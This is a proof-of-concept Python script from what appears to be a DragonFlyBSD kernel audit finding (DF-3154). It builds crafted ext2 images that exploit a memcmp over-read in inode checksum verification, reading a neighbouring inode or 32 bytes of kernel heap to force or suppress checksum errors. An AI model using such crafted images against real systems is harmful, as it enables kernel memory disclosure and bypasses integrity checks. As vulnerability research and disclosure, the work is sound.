⬢ DragonFlyBSD Kernel Audit
DF-3154 / craft_df3154.py
← back to finding ↓ download raw
#!/usr/bin/env python3
"""DF-3154 — ext2_ei_csum_verify() memcmp over-read past the inode slot.

The bug (sys/vfs/ext2fs/ext2_csum.c:589):
    static const struct ext2fs_dinode ei_zero;          // 160 bytes
    ...
    if (!memcmp(ei, &ei_zero, sizeof(struct ext2fs_dinode)))
        return (0);

sizeof(struct ext2fs_dinode) == 160 (ext2_dinode.h ends at e2di_projid+4),
but the slot is EXT2_INODE_SIZE(fs), mount-legal at 128
(ext2_vfsops.c:539-545).  ext2_vget() passes ei = bp->b_data +
128*ino_to_fsbo(ino) of a 1024-byte bread() buffer (ext2_vfsops.c:1372),
so for the LAST inode of a block the memcmp consumes 32 bytes PAST the
bp->b_data allocation (kernel heap), and for any other inode the first
32 bytes of the NEXT inode's slot (cross-inode read).

DFBSD quirk this craft must work around: ext2_vget() replaces i_gen with
krandom() when the on-disk generation is 0 (ext2_vfsops.c:1420-1424), so
we assign every inode a non-zero generation and recompute (a) every inode
checksum and (b) the root directory block tail checksum, both keyed on
(uuid-seed, ino, gen) exactly like the kernel.

Outputs (bsize=1024, isize=128, ipb=8, metadata_csum, gens != 0):
  OUT.A_nonzero.ext2 : victim slot-idx-6 inode zeroed (csum mismatch by
                       construction); NEXT inode's first 32B = 0xAA
                       -> memcmp != 0 -> stat victim = EIO (deterministic)
  OUT.A_zero.ext2    : same but next inode's first 32B = 0x00
                       -> memcmp == 0 -> csum error suppressed (no EIO)
  OUT.B.ext2         : victim is LAST inode of its block, zeroed
                       -> memcmp decision reads 32B of kernel heap past
                       the buffer; outcome varies across mounts
Usage:  ./craft_df3154.py OUT_PREFIX
"""
import struct, subprocess, sys, os

POLY = 0x82F63B78
_T = []
for i in range(256):
    c = i
    for _ in range(8):
        c = (c >> 1) ^ (POLY if c & 1 else 0)
    _T.append(c)
def crc32c(crc, data):
    for b in data:
        crc = _T[(crc ^ b) & 0xFF] ^ (crc >> 8)
    return crc & 0xFFFFFFFF

GEN = 0x13579BDF          # non-zero generation for every inode

def ei_csum(seed, ino, gen, r):
    """ext2_ei_csum() transcription for isize==128 (ext2_csum.c:517-559)."""
    c = crc32c(seed, struct.pack('<I', ino))
    c = crc32c(c, struct.pack('<I', gen))
    c = crc32c(c, bytes(r[0:124]))
    c = crc32c(c, b'\x00' * 2)                 # dummy csum_lo
    c = crc32c(c, bytes(r[126:128]))
    return c

def main(prefix):
    src = '/tmp/opencode/df3154_src'
    subprocess.run(['rm', '-rf', src], check=False)
    os.makedirs(src)
    for i in range(40):
        open(os.path.join(src, 'f%02d' % i), 'w').close()

    img = prefix + '.base.ext2'
    subprocess.run(['mke2fs', '-q', '-F', '-t', 'ext2', '-b', '1024',
                    '-I', '128', '-N', '64',
                    '-O', 'metadata_csum,^64bit,^has_journal,^dir_index',
                    '-d', src, img, '4096'], check=True)

    out = subprocess.run(['debugfs', '-R', 'ls -l /', img],
                         capture_output=True, text=True).stdout
    ino_of = {}
    for line in out.splitlines():
        parts = line.split()
        if len(parts) >= 8 and parts[0].isdigit():
            ino_of[parts[-1]] = int(parts[0])

    f = open(img, 'r+b')
    f.seek(1024); sb = bytearray(f.read(1024))
    assert struct.unpack_from('<H', sb, 0x38)[0] == 0xEF53
    ipg     = struct.unpack_from('<I', sb, 0x28)[0]
    bsize   = 1024 << struct.unpack_from('<I', sb, 0x18)[0]
    icount  = struct.unpack_from('<I', sb, 0x00)[0]
    seed    = crc32c(0xFFFFFFFF, bytes(sb[0x68:0x78]))
    f.seek(2048); itblk = struct.unpack('<I', f.read(32)[8:12])[0]
    ipb = bsize // 128
    assert bsize == 1024 and struct.unpack_from('<H', sb, 0x58)[0] == 128

    def rd_blk(b):    f.seek(b * bsize); return bytearray(f.read(bsize))
    def wr_blk(b, d): f.seek(b * bsize); f.write(d)
    def inode_blk_off(ino):
        idx = (ino - 1) % ipg
        return itblk + idx // ipb, (idx % ipb) * 128

    # ---- pass 1: set generation on every allocated inode, remember blocks
    touched = {}
    rootblk = None
    for ino in range(2, icount + 1):
        b, o = inode_blk_off(ino)
        blk = touched.get(b)
        if blk is None:
            blk = rd_blk(b); touched[b] = blk
        rec = blk[o:o + 128]
        if rec == b'\x00' * 128:
            continue                          # unallocated: leave zero
        struct.pack_into('<I', rec, 100, GEN)
        if ino == 2:
            rootblk = struct.unpack_from('<I', rec, 40)[0]
        blk[o:o + 128] = rec

    # ---- pass 2: recompute inode csums (they cover the gen field)
    for ino in range(2, icount + 1):
        b, o = inode_blk_off(ino)
        rec = touched[b][o:o + 128]
        if rec == b'\x00' * 128:
            continue
        c = ei_csum(seed, ino, GEN, rec)
        struct.pack_into('<H', rec, 124, c & 0xFFFF)
        touched[b][o:o + 128] = rec
    for b, blk in touched.items():
        wr_blk(b, blk)

    # ---- recompute the ROOT dir block tail csum (keyed on gen now)
    rblk = rd_blk(rootblk)
    assert struct.unpack_from('<H', rblk, 1012 + 4)[0] == 12   # tail rec_len
    c = crc32c(seed, struct.pack('<I', 2))
    c = crc32c(c, struct.pack('<I', GEN))
    c = crc32c(c, bytes(rblk[:1012]))
    struct.pack_into('<I', rblk, 1012 + 8, c)
    wr_blk(rootblk, rblk)

    # ---- pick victims
    cand = sorted(v for v in ino_of.values() if v >= 12)
    name_of = {v: k for k, v in ino_of.items()}
    inoA = next(i for i in cand if i % 8 == 7 and (i + 1) in cand)
    inoN = inoA + 1
    inoB = next(i for i in cand if i % 8 == 0 and i != inoN)
    assert ei_csum(seed, inoA, GEN, b'\x00' * 128) & 0xFFFF != 0
    assert ei_csum(seed, inoB, GEN, b'\x00' * 128) & 0xFFFF != 0
    print('victimA=%d (%s) slot=%d  neighbor=%d (%s)  victimB=%d (%s) '
          'rootblk=%d seed=0x%08x' % (inoA, name_of[inoA], (inoA - 1) % ipb,
          inoN, name_of.get(inoN, '?'), inoB, name_of[inoB], rootblk, seed))

    def patch(ino, off_in_slot, data):
        b, o = inode_blk_off(ino)
        blk = rd_blk(b)
        blk[o + off_in_slot:o + off_in_slot + len(data)] = data
        wr_blk(b, blk)

    def finalize(out_img):
        f.flush(); os.fsync(f.fileno())
        subprocess.run(['cp', img, out_img], check=True)

    patch(inoA, 0, b'\x00' * 128)             # zero victim A  (bad csum)
    patch(inoN, 0, b'\xaa' * 32)              # neighbor head = 0xAA
    finalize(prefix + '.A_nonzero.ext2')
    patch(inoN, 0, b'\x00' * 32)              # neighbor head = 0x00
    finalize(prefix + '.A_zero.ext2')
    patch(inoB, 0, b'\x00' * 128)             # zero victim B (last slot)
    finalize(prefix + '.B.ext2')

    f.close()
    with open(prefix + '.victims', 'w') as vf:
        vf.write('%s %d\n%s %d\n%s %d\n' %
                 (name_of[inoA], inoA, name_of.get(inoN, '?'), inoN,
                  name_of[inoB], inoB))
    print('OK: wrote %s.{A_nonzero,A_zero,B}.ext2 + .victims' % prefix)

if __name__ == '__main__':
    main(sys.argv[1])